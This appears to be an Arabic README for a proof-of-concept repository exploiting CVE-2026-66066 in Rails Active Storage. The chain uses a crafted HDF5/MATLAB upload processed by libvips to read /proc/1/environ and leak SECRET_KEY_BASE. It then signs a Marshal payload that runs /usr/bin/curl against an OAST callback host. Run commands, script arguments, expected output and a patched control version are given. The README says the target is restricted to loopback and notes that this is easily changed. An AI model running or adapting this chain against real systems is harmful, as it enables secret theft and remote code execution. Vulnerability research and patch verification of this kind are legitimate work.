
PoC لثغرة CVE-2026-66066 في Ruby on Rails
يعيد هذا المستودع إنتاج سلسلة قراءة الملف المؤدية إلى تنفيذ التعليمات البرمجية عن بُعد (RCE) في Rails Active Storage، الموضحة في GHSA-xr9x-r78c-5hrm، وذلك ضد Rails 8.1.3، وهو أحدث إصدار متأثر من سلسلة Rails 8.1. أما Rails 8.1.3.1 فهو الإصدار المُصحَّح المستخدم كمجموعة تحكم.
استخدمه فقط في المختبر المحلي المؤقت الموصوف هنا. يرفض مُشغِّل HTTP استهداف العناوين غير المحلية (non-loopback)، على الرغم من أنه من السهل تعديل كود Python للاختبار المصرح به ضد أهداف أخرى.
الهدف هو تطبيق Rails تقليدي. تحتوي صورته النهائية على:
ruby:3.4.10-slim؛rails _VERSION_ new؛curl وlibjemalloc2 وlibvips وsqlite3؛./bin/thrust ./bin/rails server المُولَّدان من Rails؛ وUpload عادي واحد مع مرفق Active Storage واحد، وإجراءات HTML عادية new وcreate وshow، ونسخة PNG للصورة.لا يحتوي على أداة بناء للـ artifacts، ولا على مصنوعات رفع، ولا مشغِّل استغلال، ولا منشئ Marshal، ولا كود استدعاء راجع، ولا نقطة نهاية تشخيصية، ولا تتبّع للمُحمِّل، ولا سكربت إقلاع مخصص، ولا بيانات سرية ثابتة للهدف، ولا مسارًا مخصصًا للاستغلال فقط. كما أنه لا يضبط VIPS_TRACE، ولا يعيد ترتيب بيئة العملية، ولا يتجاوز مُسلسِل Active Storage، ولا يهيئ معالج صور غير افتراضي.
يرسل ملف .dockerignore الجذري Dockerfile وoverlay/ فقط إلى البناء. تُستبعَد سكربتات Python الموجودة على المضيف وجميع الـ artifacts المُولَّدة من سياق بناء Docker، وليس فقط من خطوة النسخ النهائية.
يتكوّن تراكب الهدف الكامل من خمسة ملفات عادية:
app/controllers/uploads_controller.rb
app/models/upload.rb
app/views/uploads/new.html.erb
app/views/uploads/show.html.erb
config/routes.rb
تستخدم صفحة العرض التحويل الطبيعي الأدنى التالي:
<%= image_tag @upload.avatar.variant(format: :png) %>
لا يحتوي تطبيق Rails الجديد غير المعدَّل على أي نموذج أو صفحة تقبل مرفقًا، لذا فإن هذه الملفات الخمسة هي الحد الأدنى من وظائف التطبيق المطلوبة لتمثيل حالة رفع الصور غير الموثوقة المذكورة في النشرة الأمنية.
المتطلبات الأساسية هي Docker وOpenSSL وPython 3 وh5py لأداة بناء الـ artifacts.
في الطرفية 1:
./run_lab.sh 8.1.3
ينشئ السكربت minimal-rails-vips:8.1.3، ويولّد SECRET_KEY_BASE مؤقتًا ما لم يكن مزودًا مسبقًا، وينشر التطبيق فقط على 127.0.0.1:3000، ويشغّل نقطة الدخول والأمر الافتراضيين المُولَّدين من الصورة. لا يتم تركيب أي دليل مصدري أو artifact داخل الهدف.
إذا كان المنفذ 3000 مشغولًا بالفعل، فاختر منفذ loopback آخر دون تغيير الصورة:
HOST_PORT=33020 ./run_lab.sh 8.1.3
استخدم نفس المنفذ في --target الخاص بالمُشغِّل.
في الطرفية 2:
python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install h5py
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://YOUR-OAST-DOMAIN.example/callback
rails_vips_oast_poc.py هو مُنشئ ومُشغِّل HTTP يعمل لمرة واحدة. ما لم يتم توفير --artifact، فإنه يُنشئ ملف الرفع في دليل مؤقت خاص، ويحتفظ به طوال تسلسل الطلبات بالكامل، ثم يزيله عند خروج العملية. وهو يُنشئ المرحلتين معًا بدلاً من فك حزم حمولة ثابتة:
h5py إنشاء ملف MATLAB/HDF5 مع كتلة مستخدم بحجم 512 بايت.1 × 1024 من النوع uint8 صغير النهاية (little-endian) باسم environment./proc/1/environ، عند الإزاحة صفر، بمدى محدود يبلغ 1,024 بايت.MATLAB_class="uint8" ويكتب ترويسة MATLAB 5.0 التي تستخدمها أداة الكشف matload الخاصة بـ libvips.برنامج RCE المضمَّن مثبَّت على /usr/bin/curl مع مصفوفة وسائط بنيوية. ينفذ طلب GET واحدًا إلى عنوان OAST المهيأ ويرسل فقط رمز الربط العشوائي rails_ghsa_xr9x. ولا يستخدم غلاف أوامر (shell) ولا يضم الأسرار المستخرجة أو مخرجات الأوامر أو محتويات الملفات أو معرّف الهدف في الاستدعاء الراجع.
وسائط الـ artifact هي:
--external-path: ملف مطلق على جانب الهدف، الافتراضي /proc/1/environ؛--bytes: مدى خارجي محدود من 128 إلى 4096، الافتراضي 1024؛--oast: عنوان URL الأساسي للاستدعاء الراجع المضمَّن في الحمولة؛ و--nonce: قيمة اختيارية من 16 بايت بالنظام الست عشري لإنتاج artifact قابل لإعادة الإنتاج.عنوان OAST الافتراضي آمن للاستخدام عبر loopback. وللتحقق الشامل، وفّر عنوان مستلم يمكن الوصول إليه من داخل الحاوية.
للاحتفاظ بملف الرفع المُولَّد لفحصه أو إعادة استخدامه، أضف مسار artifact:
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://YOUR-OAST-DOMAIN.example/callback \
--artifact environment-read.bmp
يتم التحقق من --artifact الحالي وإعادة استخدامه. وفي هذه الحالة، يجب أن يتطابق --oast، إذا تم توفيره، مع عنوان URL للاستدعاء الراجع المضمَّن فيه. أضف --force لإعادة البناء والاستبدال الذري بوسائط المُنشئ الحالية.
لإنشاء artifact بدون أي طلبات HTTP، تظل أداة البناء المصاحبة متاحة:
python3 build_upload_artifact.py \
--output environment-read.bmp \
--oast https://YOUR-OAST-DOMAIN.example/callback
القيمة الافتراضية لـ --target هي http://127.0.0.1:3000، وهي مقصورة على عناوين loopback الصريحة أو localhost.
يتضمن مخرجات الهدف الهش المتوقعة ما يلي:
artifact_mode=constructed
artifact_retained=false
embedded_payload=true
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=200
returned_geometry=1x1024x1
ARBITRARY_ENV_READ_RESULT=CONFIRMED
marshal_source=embedded_artifact
rce_program=/usr/bin/curl
oast_probe_http=500
OAST_RESULT=CHECK_RECEIVER
طابق oast_nonce في الطرفية مع وسيط الاستعلام rails_ghsa_xr9x=<nonce> الذي يستقبله خدمة OAST. إن استجابة HTTP 500 من طلب التمثيل النهائي متوقعة: إذ يحدث الاستدعاء الراجع أثناء إعادة بناء هاش Marshal المُصادَق عليه، قبل أن يفشل التحويل الكامل لاحقًا.
يتطلب جزء البناء h5py؛ بينما تستخدم أجزاء HTTP والتشفير مكتبة Python القياسية فقط:
image/bmp، ثم يرفع البايتات المُنشأة.matload غير المُختبَرة بالتشويش. ويكشف PNG المُرجَع بايتات مجموعة البيانات الخارجية، بما في ذلك SECRET_KEY_BASE في وقت التشغيل.ActiveStorage، ويقرأ حمولة Marshal المُنشأة مسبقًا من الـ artifact، ويوقّعها لغرض variation، ويطلب عنوان URL للتمثيل الناتج./usr/bin/curl المضمَّنة وينتج استدعاء OOB الراجع الأعمى.لا يوفّر الهدف أي نقطة نهاية مساعدة أو أداة توقيع. إن فئات Ruby المستخدمة في الرسم البياني المُسلسَل تأتي من التبعيات التي يحلّها بالفعل ملف Gemfile القياسي الناتج عن rails new؛ ولا يتطلبها التطبيق أو يهيئها. تظل معالجة الصور على معالج :vips الافتراضي في Rails طوال الوقت.
أوقف الطرفية 1 بالضغط على Ctrl-C، ثم شغّل:
./run_lab.sh 8.1.3.1
أعد تشغيل نفس أمر المُشغِّل المدمج. إذا تم الاحتفاظ بـ artifact، يمكن إعادة استخدامه بتمرير نفس مسار --artifact. يجب أن تتوقف النتيجة المُصحَّحة عند:
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=500
لا يتم إرجاع أي بكسلات من البيئة، ولا يتم أبدًا توقيع الحمولة المضمَّنة أو إرسالها، ولا يحدث أي استدعاء OAST. يُفعِّل Active Storage 8.1.3.1 حظر العمليات غير الموثوقة في libvips، لذلك يتم رفض matload.
يجب أن يكون إعداد وقت التشغيل النهائي هو الإعداد المُولَّد:
docker image inspect minimal-rails-vips:8.1.3 \
--format 'entrypoint={{json .Config.Entrypoint}} cmd={{json .Config.Cmd}} user={{json .Config.User}}'
المتوقع:
entrypoint=["/rails/bin/docker-entrypoint"] cmd=["./bin/thrust","./bin/rails","server"] user="1000:1000"
افحص السكربت الوحيد وتأكد من عدم وجود ملفات إثبات المفهوم:
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
find /rails/script -maxdepth 2 -type f -print
test ! -e /rails/payloads
test ! -e /rails/payload_builder.c
test ! -e /rails/config/master.key
'
الإدخال الوحيد في السكربت هو /rails/script/.keep المُنشأ بواسطة المولِّد. كما تبقى أدوات البناء وأدوات سطر الأوامر الاختيارية للصور خارج بيئة التشغيل:
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
for tool in gcc h5cc vips vipsheader convert magick tesseract; do
command -v "$tool" >/dev/null 2>&1 && echo "unexpected: $tool"
done
'
libvips موجود كمكتبة وقت تشغيل مشتركة حتى وإن لم تكن أدوات سطر الأوامر الخاصة به مثبتة. يوفّر رسم التبعيات القياسي في Debian دعم تنسيق MAT/HDF5 المرتبط.
Dockerfile يُنشئ ويحزم الهدف القياسي الأدنى..dockerignore يمنع دخول ملفات جانب المهاجم إلى سياق البناء.overlay/ يحتوي فقط على ملفات تطبيق Rails الخمسة العادية.run_lab.sh يبني ويشغّل الهدف دون تنفيذ إثبات المفهوم.rails_vips_oast_poc.py يبني صورة قراءة ملف HDF5 وحمولة OOB القابلة للتهيئة، ويقود تدفق HTTP العادي، ويستعيد سر التحقق، ويوقّع الحمولة المضمَّنة، ثم يشغّلها.